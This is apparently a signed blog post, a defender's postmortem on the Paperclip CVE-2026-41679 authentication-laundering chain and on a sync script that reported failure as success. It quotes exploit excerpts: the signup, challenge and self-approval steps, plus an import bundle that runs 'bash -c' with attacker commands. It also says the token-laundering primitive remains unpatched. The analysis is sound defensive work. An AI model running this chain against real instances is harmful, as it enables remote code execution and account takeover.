-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The chain\n\nThe vulnerability is GHSA-68qg-g8mg-6pr7, registered as CVE-2026-41679. The verifier PoC is one Python file at `bartfroklage/cve-2026-41679`, published 2026-04-24 with an explicit citation to the GHSA. I cloned it and read it. It does this:\n\n```python\nsignup(args.target, args.name, args.email, args.password)\nsession_cookie = signin(args.target, args.email, args.password)\nchallenge_id, token, board_api_token = create_challenge(args.target)\napprove_challenge(args.target, challenge_id, token, session_cookie)\nagent_id = import_company(args.target, board_api_token, args.commands)\nid, status = trigger_agent(args.target, board_api_token, agent_id)\nprint(f\"Vulnerable, was able to trigger RCE with id: {id}.\")\n```\n\nRead it as an authentication-laundering chain. Each step trades the previous step's credential for a stronger one. The patch closes the last trade. The earlier trades remain.\n\n### Step one and two: anonymous to authenticated session\n\n`signup` POSTs to `/api/auth/sign-up/email`:\n\n```python\ndata = {\"email\": email, \"password\": password, \"name\": name}\nresp = requests.post(url, headers=headers, json=data, verify=VERIFY)\n```\n\nIt works because Paperclip's default config has `PAPERCLIP_AUTH_DISABLE_SIGN_UP=false` (`server/src/config.ts:169-173`) and `requireEmailVerification: false` is hardcoded in `server/src/auth/better-auth.ts:89-93`. `signin` returns a session cookie. The attacker is now authenticated as a regular user.\n\nThis is open by design. Paperclip's hosted-mode threat model treats user accounts as a sandbox boundary, not a security boundary; an instance is supposed to be safe even if anybody can sign up. The next step is where that assumption breaks.\n\n### Step three: anonymous to pending board token\n\n`POST /api/cli-auth/challenges` accepts an unauthenticated request body validated by `createCliAuthChallengeSchema` (`packages/shared/src/validators/access.ts:73-78`):\n\n```typescript\nexport const createCliAuthChallengeSchema = z.object({\n command: z.string().min(1).max(240),\n clientName: z.string().max(120).optional().nullable(),\n requestedAccess: boardCliAuthAccessLevelSchema.default(\"board\"),\n requestedCompanyId: z.string().uuid().optional().nullable(),\n});\n```\n\nThe route handler at `routes/access.ts:2495-2516` accepts that body without any `assertBoard` or auth gate. It calls `boardAuth.createCliAuthChallenge`, which generates a `challengeSecret` (returned to the caller as `token`) and a `pendingBoardToken` (returned as `boardApiToken`). The cleartext `pendingBoardToken` lands in the response. The token's hash is stored in the `cli_auth_challenges` table, waiting for an approval that will lift it into the `board_api_keys` table.\n\nThe PoC sends `{\"command\": \"test\"}`. The schema fills in `requestedAccess: \"board\"` from the default. That default decides which check runs at the next step.\n\nYou did not need step one or two to do this. `POST /cli-auth/challenges` works from a fresh TCP connection with no cookies and no Authorization header. The route just hands back a pending board token to anyone who asks.\n\n### Step four: signed-in user approves their own challenge\n\n`POST /api/cli-auth/challenges/:id/approve` requires only that the caller be signed in. From `routes/access.ts:2549-2554`:\n\n```typescript\nif (\n req.actor.type !== \"board\" ||\n (!req.actor.userId && !isLocalImplicit(req))\n) {\n throw unauthorized(\"Sign in before approving CLI access\");\n}\n```\n\nThe session cookie from step two satisfies this. The handler then calls `boardAuth.approveCliAuthChallenge` (`services/board-auth.ts:248-284`), which is where the laundering happens:\n\n```typescript\nif (challenge.requestedAccess === \"instance_admin_required\" && !access.isInstanceAdmin) {\n throw forbidden(\"Instance admin required\");\n}\n\nlet boardKeyId = challenge.boardApiKeyId;\nif (!boardKeyId) {\n const createdKey = await tx\n .insert(boardApiKeys)\n .values({\n userId,\n name: challenge.pendingKeyName,\n keyHash: challenge.pendingKeyHash,\n expiresAt: boardApiKeyExpiresAt(),\n })\n```\n\nThe admin check fires only when `requestedAccess === \"instance_admin_required\"`. The PoC's challenge has `requestedAccess: \"board\"` (the schema default). The check skips. The transaction inserts the pending token's hash into `board_api_keys` under the approving user's ID. The token is now an active board API key.\n\nThe signed-in regular user has just promoted their session cookie into a board-level API key. They cleared no admin gate. They held no admin role. The approver and the requester are the same person; the approver is verifying their own request, with no prompt anywhere asking whether the user backing the session has the right to approve a board-level CLI handle for themselves.\n\n### Step five: board token to RCE (the patched gate)\n\n`POST /api/companies/import` is the route that imports a \"company bundle\": a set of files describing an org chart, agent definitions, and adapter configs. The PoC's bundle looks like this:\n\n```python\ndata = {\n \"source\": {\n \"type\": \"inline\",\n \"files\": {\n \"COMPANY.md\": \"---\\nname: attacker-corp\\nslug: attacker-corp\\n---\\nx\",\n \"agents/pwn/AGENTS.md\": \"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\n \".paperclip.yaml\": f\"agents:\\n pwn:\\n icon: terminal\\n adapter:\\n type: process\\n config:\\n command: bash\\n args:\\n - -c\\n - {commands}\"\n },\n },\n \"target\": {\"mode\": \"new_company\", \"newCompanyName\": \"attacker-corp\"},\n \"include\": {\"company\": True, \"agents\": True},\n \"agents\": \"all\",\n}\n```\n\nThe payload is the file format paperclipai's official import flow accepts. The `.paperclip.yaml` configures the agent's adapter as `type: process` with `command: bash` and `args: [-c, ]`. When the agent is later \"woken up,\" that adapter is what executes. The shell is the adapter, by design.\n\nThe route handler at `routes/companies.ts:180-202` looked like this in our last-synced upstream baseline (`9cfa37f`, 2026-04-07):\n\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) => {\n assertBoard(req);\n // (no further authorization)\n const result = await portability.importBundle(req.body, req.actor.type === \"board\" ? req.actor.userId : null);\n // ...\n});\n```\n\n`assertBoard(req)` confirms the caller has a board API key. The PoC's laundered token from step four passes. `portability.importBundle` accepts whatever the inline bundle describes, including agent definitions whose `adapter.config.args` contain a shell command. The route does not check whether the bound user has rights to create a new company in this instance.\n\nThe v2026.416.0 patch adds a single function and calls it on both import routes. From `routes/companies.ts:51-60`:\n\n```typescript\nfunction assertImportTargetAccess(\n req: Request,\n target: { mode: \"new_company\" } | { mode: \"existing_company\"; companyId: string },\n) {\n if (target.mode === \"new_company\") {\n assertInstanceAdmin(req);\n return;\n }\n assertCompanyAccess(req, target.companyId);\n}\n```\n\n`assertInstanceAdmin` lives in `routes/authz.ts` and reads:\n\n```typescript\nexport function assertInstanceAdmin(req: Request) {\n assertBoard(req);\n if (req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin) {\n return;\n }\n throw forbidden(\"Instance admin access required\");\n}\n```\n\nAfter the patch, the import route adds one line:\n\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) => {\n assertBoard(req);\n assertImportTargetAccess(req, req.body.target);\n // ...\n});\n```\n\nThat is the entire fix to the CVE. The PoC's `target.mode: \"new_company\"` now routes to `assertInstanceAdmin`, which fails because the laundered board token's bound user (`attacker@evil.com`) is not an instance admin. Step five returns 403. Steps one through four still work, but the chain dies here.\n\n### Step six: wakeup runs the adapter\n\nFor completeness: if step five had succeeded, the bundle's agent would have landed in the database with its `process`-type adapter pointing at `bash -c `. Step six is `POST /api/agents/{id}/wakeup`, which fires the agent. The adapter runs. The `bash` invocation runs. The default PoC payload is `id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt`; the actual payload is whatever the attacker passed in `-c` to the script.\n\nThe agent system was always allowed to execute the configured adapter. That is what the agent system is for. The bug is at step five: the *configuration* of the adapter was attacker-controlled because the route accepted an attacker-built bundle without checking whether the attacker was an instance admin.\n\n### What the patch does not close\n\nThe board-token laundering primitive in steps three and four is unchanged. The patch closes the use of laundered tokens at `POST /companies/import` and `POST /companies` (a second site that received the same `assertInstanceAdmin` check at `routes/companies.ts:268-272`). But `assertBoard(req)` still admits laundered tokens to every other route that gates on it. Anyone reading the diff for upstream patches in the next few months should expect more `instance_admin_required` checks to appear at endpoints whose authors assumed `assertBoard` already meant `isInstanceAdmin`. That assumption is the structural one. The patch fixes two sites; the primitive that allowed the chain still works.\n\n## The script\n\nI had a script at `scripts/upstream-sync-paperclip.mjs` that ran once a day on the wopr-network self-hosted runner. Its job was to pull the upstream into our subtree, resolve any conflicts via Claude agent (preserving our `hostedMode` UI guards), and open a PR. The first time it ran successfully was 2026-04-08; it pulled upstream master at SHA `9cfa37f` into `sidecars/paperclip/` via `git subtree pull --squash`.\n\nAfter that, the daily cron logged \"Up to date with upstream\" every morning. It had no merges to apply. The runner host stayed warm, the steps stayed green. Most days, that should have been the right answer.\n\nThe function that decided whether anything had happened looked like this:\n\n```javascript\nasync function mergeUpstream() {\n log(\"Fetching upstream...\");\n run(`git fetch ${UPSTREAM_REMOTE}`);\n\n const upstreamHead = run(`git rev-parse ${UPSTREAM_REMOTE}/${UPSTREAM_BRANCH}`);\n log(`Upstream HEAD: ${upstreamHead}`);\n\n const mergeResult = tryRun(\n `git subtree pull --prefix=${SUBTREE_PREFIX} ${UPSTREAM_REMOTE} ${UPSTREAM_BRANCH} --squash -m \"...\"`,\n );\n\n if (mergeResult.ok) {\n const diff = tryRun(`git diff HEAD~1 --stat -- ${SUBTREE_PREFIX}`);\n if (diff.ok && diff.output.trim()) {\n return { merged: true, behind: 1 };\n }\n return { merged: false, behind: 0 };\n }\n\n // Check for conflicts\n // ... agent path ...\n\n log(`Subtree pull failed: ${mergeResult.output}`);\n return { merged: false, behind: 0 };\n}\n```\n\nRead the two return paths.\n\nThe first return runs when `git subtree pull --squash` succeeded and produced no diff. That is the legitimately-up-to-date case: upstream had no new commits, the subtree did not change, the merge was a no-op. Return `{merged: false, behind: 0}`. Log \"Up to date with upstream.\"\n\nThe last return runs when `git subtree pull --squash` failed entirely, with no merge conflicts to escalate to a human. The script logs the failure to a line `console.log` reads as informational. Then it returns `{merged: false, behind: 0}`. The caller in `main()` reads that return and logs \"Up to date with upstream.\"\n\nBoth outcomes have the same wire shape. The caller cannot distinguish them. The dashboard cannot distinguish them. The cron cannot distinguish them. The only readable signal that the script was broken was the line `Subtree pull failed:` somewhere in the agent-events log; the structured return shape and the user-facing log line said all-clear.\n\n## What broke `git subtree pull`\n\n`git subtree pull --squash` works by walking the local commit history backwards looking for a previous merge whose message contains `git-subtree-dir: ` and `git-subtree-mainline: ` and `git-subtree-split: `. Those metadata lines are how it knows where it left off, and which upstream commit to compute the next diff against.\n\nOur prior sync PRs had been squash-merged into main. The squash-merge dropped the metadata lines from the merge commit's body. From `git subtree`'s perspective, it could not find the squash base. The command exited with a non-zero status and the message \"fatal: can't squash-merge: 'sidecars/paperclip' was never added,\" which the script's `tryRun` captured as `ok: false`.\n\nThis is not a subtle race. The metadata had been gone since 2026-04-08, the day the workflow first started. Every daily run after that hit the same failure. Every daily run reported success.\n\n## The seventeen days\n\nReceipts.\n\n| Date | Event |\n|---|---|\n| 2026-04-08 | Last successful upstream sync. Subtree at upstream `9cfa37f`. |\n| 2026-04-09 to 2026-04-25 | Daily cron runs. Each one fails to find a squash base. Each one reports success. |\n| 2026-04-10 | External researcher reports the chain to the upstream maintainer via Discord. GHSA `GHSA-68qg-g8mg-6pr7` is filed. |\n| 2026-04-16 11:44 UTC | Upstream tags v2026.416.0 with the patch. The daily cron at 06:00 that morning reported success. |\n| 2026-04-22 15:53 UTC | The advisory transitions to public. NVD ingests CVE-2026-41679. |\n| 2026-04-24 08:27 UTC | `bartfroklage/cve-2026-41679` is created. |\n| 2026-04-25 08:23 UTC | The verifier is pushed. |\n| 2026-04-25 22:46 UTC | I read it during routine CVE scouting. |\n| 2026-04-26 02:45 UTC | I send a curl to api.runpaperclip.com to confirm. The endpoint returns 200 with a session cookie. |\n| 2026-04-26 02:46 UTC | I deploy a Caddy `respond 403` on `POST /api/auth/sign-up/email`. Step one of the chain is dead. |\n| 2026-04-26 04:35 UTC | Manual rebase of the fork onto upstream master ships to prod. Patch in place. |\n\nThat's nine days where the patch was in upstream master and my fork shipped without it. Three days where the public advisory described the bug in my product's exact words and my cron told me everything was fine. One day where a working PoC against my product was on a public aggregator and my cron told me everything was fine.\n\n## The fix\n\nThe script was rewritten on 2026-04-26 (commit `5684a68c`). The new version does not use `git subtree pull --squash` at all. It cannot, because the squash metadata is gone and is not coming back unless we rewrite history we already published.\n\nTwo design changes are load-bearing.\n\n**A tracked baseline file.** `sidecars/paperclip/.upstream-baseline` contains the SHA of the last upstream commit we successfully synced. Currently `40782f70`. Updated on every successful sync. Committed alongside the synced subtree so its existence is part of the same commit that justifies it.\n\n**Two canaries that fail loud.** At the start of every run:\n\n```javascript\nif (!existsSync(BASELINE_FILE)) {\n die(`${BASELINE_FILE} is missing. Cannot determine merge base. Manual sync required. (...)`);\n}\nconst baseline = readFileSync(BASELINE_FILE, \"utf-8\").trim();\nconst reachable = tryRun(`git merge-base --is-ancestor ${baseline} ${UPSTREAM_REMOTE}/${UPSTREAM_BRANCH}`);\nif (!reachable.ok) {\n die(`Baseline ${baseline} is NOT reachable from ${UPSTREAM_REMOTE}/${UPSTREAM_BRANCH}. (...)`);\n}\n```\n\nIf the baseline file is missing, the script aborts with exit 1. If the baseline SHA cannot be reached from current upstream master, the script aborts with exit 1. Both abort paths emit a fatal log and a non-zero exit. The GitHub Actions workflow turns red. The failure mode that bit us no longer exists, because the precondition that allowed it (silent-success-on-unknown-state) no longer exists.\n\nThe actual merge mechanism uses `git subtree split --prefix=...` to extract a synthetic linear history of just our subtree contents, then `git replace --graft ` to give the merge a known ancestor, then `git merge paperclip-upstream/master`. The graft is the point. Without it, the merge has no common base and every file is an add/add conflict; with it, git's three-way merger does the right thing on most files and leaves only genuine conflicts for the agent to resolve.\n\nAfter the merge, the merged tree is archive-extracted back into `sidecars/paperclip/`, the new upstream HEAD is written to `.upstream-baseline`, and a single squash commit is made. The next run reads the new baseline. The cycle closes.\n\n## The pattern\n\nI am minting this as a defender-frame pattern: **idle indistinguishable from broken**.\n\nThe shape is: a process that periodically does work emits identical telemetry for two structurally different states. State A is \"I checked, there was nothing to do, I am healthy.\" State B is \"I checked, I could not figure out what to do, I am not healthy.\" When State B's wire shape matches State A's, every observer downstream loses the ability to tell the difference, and the system silently accumulates risk against whatever the process was supposed to be defending.\n\nThis is not specific to upstream-sync scripts. It applies anywhere a polling process emits \"no-op\" as success and \"could not determine\" as a different success with the same surface. Common instances I have shipped or read in other people's code:\n\n- **Dependabot / renovate runs that no-op when the lockfile is unparseable.** Same shape: nothing to update, also can't tell what to update. Identical green check.\n- **Cert-renewal scripts that exit zero when the renewal endpoint is unreachable.** Renewal not yet needed and renewal could not be attempted are reported with the same status code.\n- **EDR / SOC dashboards that show \"no detections this hour\" for both an idle queue and a broken collector.** I have read postmortems that begin with this sentence.\n- **Backup systems that mark a job complete when zero files were found because the source path was wrong.** Backup of empty mount and backup of correctly-empty volume are visually identical.\n\nThe fix is uniform. The success state must be distinguishable in the telemetry from the unable-to-determine state. If you cannot make them distinguishable in the wire format, do not treat the unable-to-determine state as success. Make it red. Page someone. Refuse to run the next iteration until the state is resolved.\n\n`{merged: false, behind: 0}` is a return shape. Idle indistinguishable from broken is the shape behind it.\n\n## Closing\n\nI run my own infrastructure. I have written this kind of script before; I had read other people's code with the same shape and been suspicious of it; I had even named the pattern in my head before this incident, in another context, in another language. The script that bit me was one I wrote. The cron emitted seventeen success notifications across the window in which my product was exploitable. I had to read someone else's PoC of my own bug to find out.\n\nI expect to write this same paragraph again, about something else, in three weeks. The point of this post is that you might too, and the precondition is in your scripts before the bug it hides is in your runtime. The conflation is structural. The bug it lets through can be anything.","closing_line":"Audit your daily-checked things for return values that conflate \"all clear\" with \"I have no idea where I am.\"","hook_md":"I was scouting CVEs for this site when I read the description.\n\n> \"Paperclip is a Node.js server and React UI that orchestrates a team o -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCae4rogAKCRDeZjl4jgkQ JlTLAQCntgnbFbCqipWQ6kx4OtdFxB+UGccLjlOSK0WIN5DZnwD/aiunwNHjI27U pc6uA6yfrmylOWNHJq8E4od5uFKCBw8= =eVS+ -----END PGP SIGNATURE-----